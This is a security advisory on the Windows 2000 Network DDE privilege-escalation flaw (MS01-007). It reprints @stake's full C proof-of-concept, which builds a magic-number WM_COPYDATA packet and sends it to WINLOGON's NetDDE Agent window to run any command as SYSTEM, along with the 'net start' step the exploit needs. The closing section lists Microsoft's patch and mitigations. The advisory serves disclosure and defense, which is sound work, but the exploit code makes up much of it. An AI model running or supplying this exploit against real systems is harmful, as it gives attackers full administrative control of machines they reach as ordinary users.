COMMAND
NetDDE
SYSTEMS AFFECTED
Win2000 Pro, Terminal Services and Citrix Metaframe
PROBLEM
Following is based on a @stake Security Advisory by DilDog.
Network DDE is a system service that is enabled in Windows 2000 by
default. Due to design flaws, it allows arbitrary commands to be
executed with SYSTEM user privileges.
This is a privilege escalation vulnerability. Executing code with
SYSTEM privileges allows an attacker to have full administrative
control of the workstation or server. This vulnerability can be
used by an attacker to elevate privileges on a workstation or
server where he or she has the logon privileges as a normal user.
It can also be used to completely compromise a server when
combined with another lesser vulnerability that allows code
execution as a low privileged user.
When the "Network DDE DSDM" service is started, the WINLOGON
process creates an invisible window for inter-process
communication with various NetDDE components. The WINLOGON
process is running as the SYSTEM user. When a particular
undocumented structure is passed to WINLOGON through the "DDE Copy
Data" window message mechanism, it can specify an arbitrary
command line to run in the WINLOGON context.
This functionality is supposedly the back end by which trusted
service NetDDE shares have their server applications started
automatically when a NetDDE connection is requested but the server
hasn't started yet.
The "Network DDE DSDM" service is the "DDE Share Database Manager"
which maintains a list of all active Network DDE shares and
manages multiple NetDDE connections. When this service is
started, an invisible IPC window is created on the logged-in
user's desktop for communication with DDE enabled applications.
The messages that are handled by this window, and their formats,
is undocumented.
The window is created with the name "NetDDE Agent", and with
window class "NDDEAgnt". Since the window is created by WINLOGON,
the window procedure is in WINLOGON's process space, and it
handles messages with SYSTEM privileges. One message handled by
this window is the "WM_COPYDATA" message, which is used by DDE to
pass a block of memory from one process to another. Unlike most
cross-window communication, which is usually done with
"PostMessage()", WM_COPYDATA is issued with the "SendMessage()"
function, and handled in a special case by the low-level messaging
subsystem (CSRSS).
The structure that is passed to the window via this message has
the following format:
4 bytes - E1 DD E1 DD (magic number: 0xDDE1DDE1)
4 bytes - 01 00 00 00 (unknown: 0x00000001)
4 bytes - 01 00 00 00 (unknown: 0x00000001)
8 bytes - 05 00 00 09
00 00 00 01 (DDE Share Mod Id)
4 bytes - CC CC CC CC (unknown: unused?)
ASCIIZ - "SHARENAME$" (null terminated string: DDE Trusted Share Name)
ASCIIZ - "cmd.exe" (null terminated string: DDE Server Startup Command)
When this buffer is passed to the window procedure, it first
checks for the values of the 3 magic numbers (first 12 bytes), if
they are not equal to the values above, the message handler errors
out. It then takes the two ASCIIZ strings and converts the into
Unicode strings. Then, the share name is validated to ensure it
exists, and is a 'trusted' share.
Since a number of trusted shares exist in the system by default,
one can just iterate through all of them, trying the command with
each share name until we find one that is trusted. The "DDE Share
Mod ID" is compared with the number that is in the structure, and
if they are equal, the command specified in the second ASCIIZ
string is executed in the context of the WINLOGON process, thus
creating a process which inherits the SYSTEM process token. The
"DDE Share Mod Id" should be a relatively random 8-byte number,
but instead it is always the constant '0x0100000009000005".
The "Network DDE DSDM" service must be started for following code
to work. It's set to "manual" start by default, and any user can
start it. So type 'net start "Network DDE DSDM"' first, and then
run it. Proof of concept source code:
http://www.atstake.com/research/advisories/2001/netddemsg.cpp
Here is the copy:
#include<windows.h>
#include<stdio.h>
#include<nddeapi.h>
void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
exit(err);
}
void *BuildNetDDEPacket(const char *svShareName, const char *svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky==NULL) {
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return NULL;
}
funky[0x00]=(char)0xE1;
funky[0x01]=(char)0xDD;
funky[0x02]=(char)0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number)
funky[0x04]=(char)0x01;
funky[0x05]=(char)0x00;
funky[0x06]=(char)0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?)
funky[0x08]=(char)0x01;
funky[0x09]=(char)0x00;
funky[0x0A]=(char)0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?)
funky[0x0C]=(char)0x05; // ShareModId
funky[0x0D]=(char)0x00;
funky[0x0E]=(char)0x00;
funky[0x0F]=(char)0x09;
funky[0x10]=(char)0x00;
funky[0x11]=(char)0x00;
funky[0x12]=(char)0x00;
funky[0x13]=(char)0x01;
funky[0x14]=(char)0xCC; // unused (?)
funky[0x15]=(char)0xCC;
funky[0x16]=(char)0xCC;
funky[0x17]=(char)0xCC;
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute
*pBufLen=funkylen;
return funky;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
{
// Check command line
int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]=='\0') {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
cmdlinelen=strlen(lpCmdLine);
char *szShare=NULL;
char *szCmdLine=lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) {
szShare=lpCmdLine+2;
while ((*szShare)==' ')
szShare++;
char *szEnd=strchr(szShare,' ');
if(szEnd==NULL) {
MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
szCmdLine=szEnd+1;
*szEnd='\0';
}
// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd==NULL) {
MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
return -1;
}
// Get computer name
DWORD dwSize=256;
char svCompName[256];
GetComputerName(svCompName,&dwSize);
// Get list of shares to try
char *sharename,*sharenames;
if(szShare==NULL) {
// Try all shares
UINT err;
DWORD dwNumShares;
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
NDDEError(err);
}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) {
NDDEError(err);
}
} else {
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,'0',strlen(szShare)+2);
strcpy(sharenames,szShare);
}
// Try all shares
for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) {
// Ask user
if(szShare==NULL) {
char svPrompt[256];
_snprintf(svPrompt,256,"Try command through the '%s' share?",sharename);
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
continue;
}
// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;
// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
// Free memory
free(funky);
}
// Free memory
free(sharenames);
return 0;
SOLUTION
Microsoft has issued a bulletin describing this topic:
http://www.microsoft.com/technet/security/bulletin/MS01-007.asp
The original version of this bulletin stated that terminal servers
are not affected by the vulnerability. MS have subsequently found
that they actually are affected, and have updated both the
bulletin and the narrative below to reflect this. The patch
provided in the bulletin can be applied to terminal servers.
Microsoft has issued a patch:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526
There exist a huge number of varied installations. It would be
irresponsible to presume that there always exists one magic fix
that will meet every environments' requirements. With that being
said there are also many solutions one might deploy. While by no
means exhaustive, here is a list of ideas that may work. The
reader is encouraged to look not only at how they might mitigate
the problem but at the risk it may or may not present and at the
options that might be at their disposal that are unique to their
environment.
Option 1: Try running 'ddeshare.exe' as Administrator. This
program will show a list of all the trusted shares under the
'checked share' icon. By default, the shares 'Chat$ (Microsoft
Chat)', 'CLPBK$ (Clipbook)', and 'Hearts$ (Microsoft Hearts)' are
listed. If you are not using any of the above applications,
remove them from the trusted shares list. This may disable the
applications, but your system will be protected from attack if
the trusted share list is completely empty.
Option 2: If you aren't using Network DDE, you can disable the
Network DDE DSDM service, which will prevent this attack from
working. Go to the "Services" administrative control panel
application, and set the "Network DDE DSDM" service to "disabled".
A word of caution: Microsoft Office uses Network DDE to
communicate over the network. Disabling this service may
interfere with Microsoft Office operations. Proceed with caution,
and test this configuration in your environment first before
deploying, as with any non-vendor supplied fix. Any other DDE
enabled applications, such as Microsoft Hearts, Clipbook, etc.,
will not function properly with this service disabled.
Although Windows 2000 comes with no native provisions for logging
the privilege escalation presented in this advisory, people are
encouraged to examine and utilize any other logging or postmortem
notification options that may be available in their environment.
If you must use network DDE then you should install the vendor
patch on machines where non-administrator users are allowed to run
arbitrary code.